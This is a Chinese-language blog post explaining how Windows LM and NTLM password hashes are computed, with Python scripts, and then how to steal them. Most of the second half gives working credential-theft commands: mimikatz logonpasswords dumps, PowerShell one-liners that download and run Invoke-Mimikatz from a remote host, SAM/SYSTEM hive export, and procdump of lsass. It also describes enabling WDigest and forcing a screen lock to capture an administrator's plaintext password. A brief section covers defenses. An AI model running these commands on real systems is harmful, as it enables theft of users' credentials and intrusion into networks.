0%

Windows用户密码加密方法与破解


Windows Hash

LM Hash

LAN Manager (LM) Hash 时WIndows 系统所用的第一种密码哈希算法,本质为DES加密

LM Hash 生成原理
  • 1.用户密码转换为大写,最大长度限制为14个字符,

  • 2.密码转换为16进制字符串,不足14个字节将用0来补全

  • 3.密码的16进制被分成两个7byte部分,每部分转换成比特流,并且长度为为56bit,长度不足则在左边用0补齐

  • 4.再分为7bit为一组,每组末尾加0,再组成一组

  • 5.将以上步骤得到的两组8字节编码,分别作为DES加密key为魔术字符串“KGS!@#$% ”进行加密


参考https://blog.csdn.net/endeav_or/article/details/50196325

以这篇文字给出的 123994 为例

将 123994 使用文本编辑器 转换为十六进制

转换后 为 313233393934 (12*4 bits) 而为了满足14字节(14 * 8 bits) 后续全都用0补全

所以 补全后的十六进制为 3132333939340000 0000000000000000

将以上编码分词2组7字节(7*8 bits) 3132333939340000 0000000000000000

将以上两组7字节的十六进制转换为 二进制,每7bit 一组末尾加0,再转换为十六进制组成的两组8字节的编码

31323339393400 转换为 二进制位

00110001001100100011001100111001001110010011010000000000 长度不足便在左边补0 这里从计算器复制过来没有前面两个0

0011000 1001100 1000110 0110011 1001001 1100100 1101000 0000000 每7位分为一组

00110000 10011000 10001100 01100110 10010010 11001000 11010000 00000000 每一组末尾补0

将每一组转换位十六进制

00110000 10011000 1000110 001100110 10010010 11001000 11010000 00000000

30 98 8C 66 92 C8 D0 00

最终得到 30988C6692C8D000 同理 00000000000000 (14个0 ) 得到 0000000000000000(16个0)

最后再将 以上两组8字节编码 分别作为DES 加密的密钥 为 魔术字符串“KGS!@#$% ”进行加密

该魔术字符串转换为16进制为 4B47532140232425

将两组DES加密后的编码拼接, 得到最终LM-Hash值为: FAE8BB9ECB799902 AAD3B435B51404EE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# python实现LM-HASH脚本
# coding=utf-8
import base64
import binascii
from pyDes import *


def DesEncrypt(str, Des_Key):
k = des(Des_Key, ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)


def Zero_padding(str):
b = []
l = len(str)
num = 0
for n in range(l):
if (num < 8) and n % 7 == 0:
b.append(str[n:n + 7] + '0')
num = num + 1
return ''.join(b)


if __name__ == "__main__":

test_str = "123994"
# 用户的密码转换为大写,并转换为16进制字符串
test_str = test_str.upper().encode('hex')
str_len = len(test_str)

# 密码不足14字节将会用0来补全
if str_len < 28:
test_str = test_str.ljust(28, '0')

# 固定长度的密码被分成两个7byte部分
t_1 = test_str[0:len(test_str) / 2]
t_2 = test_str[len(test_str) / 2:]

# 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
t_1 = bin(int(t_1, 16)).lstrip('0b').rjust(56, '0')
t_2 = bin(int(t_2, 16)).lstrip('0b').rjust(56, '0')

# 再分7bit为一组末尾加0,组成新的编码
t_1 = Zero_padding(t_1)
t_2 = Zero_padding(t_2)
print t_1
t_1 = hex(int(t_1, 2))
t_2 = hex(int(t_2, 2))
t_1 = t_1[2:].rstrip('L')
t_2 = t_2[2:].rstrip('L')

if '0' == t_2:
t_2 = "0000000000000000"
t_1 = binascii.a2b_hex(t_1)
t_2 = binascii.a2b_hex(t_2)

# 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%"进行加密。
LM_1 = DesEncrypt("KGS!@#$%", t_1)
LM_2 = DesEncrypt("KGS!@#$%", t_2)

# 将二组DES加密后的编码拼接,得到最终LM HASH值。
LM = LM_1 + LM_2
print LM
LM Hash 缺点

1.密码长度最大只能为14个字符

2.密码无法区分大小写

3.如果密码强度小于7位,那个第二个分组加密后的结果一定为 aad3b435b51404ee

4.Des 容易被破解 密码强度不高


在Windows Vista 和 Windows Server 2008 版本后 Windows默认禁用了LM Hash。LM-Hash 明文密码限制在14位以内,也就是说,如果LM Hash被禁用了,攻击者通过工具抓取的LM Hash 通常为 aad3b435b51404eeaad3b435b51404ee


NTLM Hash

NT LAN Manager (NTML) Hash 是基于MD4算法。从Windows Vista/Windows Server 2003以后Windows的默认认证方式均为NTLM Hash

NTLM Hash生成原理

1.将用户密码(转为ASCII 再)转换为十六进制

2.将十六进制格式的密码进行Unicode编码

3.使用MD4摘要算法对Unicode编码数据进行Hash计算


以密码123456为例 ,

  • 首先将密码字符串转换为ASCII字符串,123456 => 49 50 51 52 53 54
  • ASCII字符串在转换为十六进制,49 50 51 52 53 54 => 31 32 33 34 35 36
  • 再进行Unicode 编码, 31 32 33 34 35 36 =>


1
2
3
4
5
import hashlib,binascii;
print binascii.hexlify(hashlib.new("md4", "123456".encode("utf-16le")).digest())

# 123456
# 32ed87bdb5fdc5e9cba88547376818d4


密码抓取

GetPassword

直接使用管理员权限的cmd 运行 GetPassword.exe 即可

PwDump7

可以得到系统中所有庄户的NTML Hash

mimikatz

下载地址:https://github.com/gentilkiwi/mimikatz/releases

Minikatz 用于Windows下读取已经登录过的用户的Hash 和明文密码,需要admin或者system权限

本地交互式抓取

mimikatz # privilege::debug 提升权限

mimikatz # log 启动日志记录功能

mimikatz # sekurlsa::logonpasswords 读取存储在计算机上的明文密码和Hash值

本地非交互式抓取

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > mimikatz.txt

powershell 加载 mimikatz抓取

可以连接外网情况下

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

内网情况下,可以搭建一个本地web服务器,使用内网ip去访问

powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.0.137/Invoke-Mimikatz.ps1'); Invoke-Mimikatz


通过SAM 和 System 文件抓取密码

导出SAM 文件和 System 文件 reg save hklm\sam sam.hive reg save hklm\system system.hive 然后将这两个文件放到mimikatz的同目录下,运行mmimikatz lsadump::sam /sam:sam.hive /system:system.hive 得到NTLM为31d6cfe0d16ae931b73c59d7e0c089c0 在网站上进行解密 得到密码为空 (该机器密码在设置时设为了空)

也可以使用ophcrack (https://www.objectif-securite.ch/ophcrack)

适用场景:获得了system权限,但是无法在目标机器上上传或使用 Mimikatz,这时候就可以使用reg命令导出Sam和System文件 然后离线读取处NTML Hash 。可以考虑使用在线解密网站或者hash 传递方式得到明文。


使用Powershell进行Dump Hashs

...........................

ProcDump + mimikatz

ProcDump 是一个命令行程序,可以很方便地将系统正在运行的进程转存储生成为 dump 文件,是一款微软自家出品软件,所以可以过很多杀软。

dump lsass.exe 进程

打开任务管理器 找到 lsass.exe(Local Security Authority Process) 进程,选择创建转储文件

这里生成的位置在AppData下 如果没显示该文件目录 点击组织->文件夹和搜索选项->查看 将显示的隐藏文件、文件夹和驱动器前点勾

使用procdump.exe 导出lsass.exe

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

读取dump文件

然后将生成的 lsass.dmp 文件放到 mimikatz 的同目录下,运行mimikatz

直接读取明文密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::tspkg" exit

读取明文密码和hash 值(显示的信息更全)

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit

部分系统的抓取尝试

Windows Server 2008 R2

Windows7 x64

这里抓取的密码为空 因为原密码为空 看下抓取的NTLM值 与 空值的相同


防范措施

安装 KB2871997 补丁,关闭Wdigest功能(Windows Server 2012以上版本都是默认关闭的)

安装完该补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。

通过擦好看注册表键值,可以判断Wdigest功能状态,如果该值为 1 则为开启,即可获取明文密码,如果改值为0 则明文密码就不会出现在内存中。

开启或关闭Wdigest 的命令:

(1) reg add 命令

开启Wdigest Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭Wdigest Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

(2)使用powershell

开启Wdigest Auth

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

关闭Wdigest Auth

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0

  1. 利用meterpreter

开启Wdigest Auth

reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

关闭Wdigest Auth

reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0


记录一位师傅文章的思路(https://github.com/x0rz4/Intranet-information)

拿到了admin的cmd权限,管理员使用密码登录了机器,开启了lsass.exe进程,把密码保存在了内存文件lsass进程中。

想要的抓取明文,修改注册表开启Wdigest ,然后利用cmd的强制锁屏,等待管理员重新输入密码登录系统,这样密码就被记录在了lsass内存文件中,然后使用procdump导出lsass.dmp,使用mimikatz进行读取明文和hash

强制锁屏命令:

cmd rundll32 user32.dll,LockWorkStation



Reference

https://www.sqlsec.com/2019/11/winhash.html

https://xz.aliyun.com/t/2445

https://blog.csdn.net/endeav_or/article/details/50196325

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------